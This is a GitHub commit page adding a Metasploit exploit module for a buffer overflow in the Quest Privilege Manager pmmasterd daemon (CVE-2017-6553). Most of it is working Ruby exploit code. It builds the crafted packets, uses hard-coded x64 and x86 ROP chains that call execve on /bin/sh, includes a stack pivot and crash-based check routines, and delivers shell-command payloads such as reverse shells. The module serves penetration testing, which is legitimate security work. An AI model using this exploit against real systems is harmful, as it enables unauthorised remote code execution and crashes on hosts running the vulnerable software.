Skip to content

Commit e8aed42

Browse files
committed
Land rapid7#8223, Quest Privilege Manager pmmasterd Buffer Overflow
2 parents 28c20cf + ab245b5 commit e8aed42

File tree

1 file changed

+206
-0
lines changed

1 file changed

+206
-0
lines changed
Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Exploit::Remote::Tcp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
16+
'Description' => %q{
17+
This modules exploits a buffer overflow in the Quest Privilege Manager,
18+
a software used to integrate Active Directory with Linux and Unix systems.
19+
The vulnerability exists in the pmmasterd daemon, and can only triggered when
20+
the host has been configured as a policy server ( Privilege Manager for Unix
21+
or Quest Sudo Plugin). A buffer overflow condition exists when handling
22+
requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
23+
controlled by the attacker. This module only works against version < 6.0.0-27.
24+
Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required).
25+
NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 )
26+
as the server refuses connections coming from unprivileged ports, which in most situations
27+
means that root privileges are required.
28+
},
29+
'Author' =>
30+
[
31+
'm0t'
32+
],
33+
'References' =>
34+
[
35+
['CVE', '2017-6553'],
36+
['URL' , 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
37+
],
38+
'Payload' =>
39+
{
40+
'BadChars' => "",
41+
'Compat' =>
42+
{
43+
'PayloadType' => 'cmd',
44+
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
45+
}
46+
},
47+
'Arch' => ARCH_CMD,
48+
'Platform' => 'unix',
49+
'Targets' =>
50+
[
51+
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
52+
{
53+
:exploit => :exploit_x64,
54+
:check => :check_x64
55+
}
56+
],
57+
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
58+
{
59+
:exploit => :exploit_x86,
60+
:check => :check_x86
61+
}
62+
]
63+
],
64+
'Privileged' => true,
65+
'DisclosureDate' => 'Apr 09 2017',
66+
'DefaultTarget' => 1
67+
))
68+
69+
register_options([ Opt::RPORT(12345) ], self.class)
70+
register_options( [ Opt::CPORT(rand(1024))], self.class )
71+
end
72+
73+
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
74+
def check
75+
unless self.respond_to?(target[:check], true)
76+
fail_with(Failure::NoTarget, "Invalid target specified")
77+
end
78+
79+
return self.send(target[:check])
80+
end
81+
82+
def exploit
83+
unless self.respond_to?(target[:exploit], true)
84+
fail_with(Failure::NoTarget, "Invalid target specified")
85+
end
86+
87+
request = self.send(target[:exploit])
88+
89+
connect
90+
print_status("Sending trigger")
91+
sock.put(request)
92+
sock.get_once
93+
print_status("Sending payload")
94+
sock.put(payload.encoded)
95+
disconnect
96+
end
97+
98+
#server should crash after parsing the packet, partial output is returned
99+
def check_x64
100+
head = [ 0x26c ].pack("N")
101+
head << [ 0x700 ].pack("N")
102+
head << [ 0x700 ].pack("N")
103+
head << "\x00"*68
104+
105+
body = "PingE4.6 .0.0.27"
106+
body << rand_text_alpha(3000)
107+
108+
request = head + body
109+
110+
connect
111+
print_status("Sending trigger")
112+
sock.put(request)
113+
res = sock.timed_read(1024, 1)
114+
if res.match("Pong4$")
115+
return Exploit::CheckCode::Appears
116+
else
117+
return Exploit::CheckCode::Unknown
118+
end
119+
end
120+
121+
#server should crash while parsing the packet, with no output
122+
def check_x86
123+
head = [ 0x26c ].pack("N")
124+
head << [ 0x700 ].pack("N")
125+
head << [ 0x700 ].pack("N")
126+
head << "\x00"*68
127+
128+
body = rand_text_alpha(3000)
129+
130+
request = head + body
131+
132+
connect
133+
print_status("Sending trigger")
134+
sock.put(request)
135+
begin
136+
res = sock.timed_read(1024, 1)
137+
return Exploit::CheckCode::Unknown
138+
rescue ::Exception
139+
return Exploit::CheckCode::Appears
140+
end
141+
end
142+
143+
def exploit_x64
144+
head = [ 0x26c ].pack("N")
145+
head << [ 0x700 ].pack("N")
146+
head << [ 0x700 ].pack("N")
147+
head << "\x00"*68
148+
149+
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
150+
ropchain = [
151+
0x408f88, # pop rdi, ret
152+
0x4FA215, # /bin/sh
153+
0x40a99e, # pop rsi ; ret
154+
0, # argv @rsi
155+
0x40c1a0, # pop rax, ret
156+
0, # envp @rax
157+
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
158+
0xcacc013, # padding
159+
0x408a98, # execve,
160+
0
161+
].pack("Q*")
162+
163+
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
164+
body << rand_text_alpha(1600)
165+
body << ropchain
166+
body << rand_text_alpha(0x700 - body.size())
167+
168+
return head + body
169+
170+
end
171+
172+
def exploit_x86
173+
head = [ 0x26c ].pack("N")
174+
head << [ 0x108 ].pack("N")
175+
head << [ 0xcc ].pack("N")
176+
head << "\x00"*68
177+
178+
#rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
179+
ropchain = [
180+
0x8093262, # ret
181+
0x73, # cs reg
182+
0x804AE2C, # execve,
183+
0xcacc013, # padding
184+
0x8136CF0, # /bin/sh
185+
0,
186+
0
187+
].pack("V*")
188+
189+
pivotback = 0x08141223 # sub esp, ebx ; retf
190+
writable = 0x81766f8 # writable loc
191+
192+
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
193+
body << rand_text_alpha(104)
194+
body << ropchain
195+
body << rand_text_alpha(0xb4 - body.size())
196+
body << [0x50].pack("V")
197+
body << rand_text_alpha(0xc4 - body.size())
198+
body << [pivotback].pack("V")
199+
body << [writable].pack("V")
200+
body << rand_text_alpha(0x108 - body.size())
201+
202+
return head + body
203+
end
204+
205+
end
206+

0 commit comments

Comments
 (0)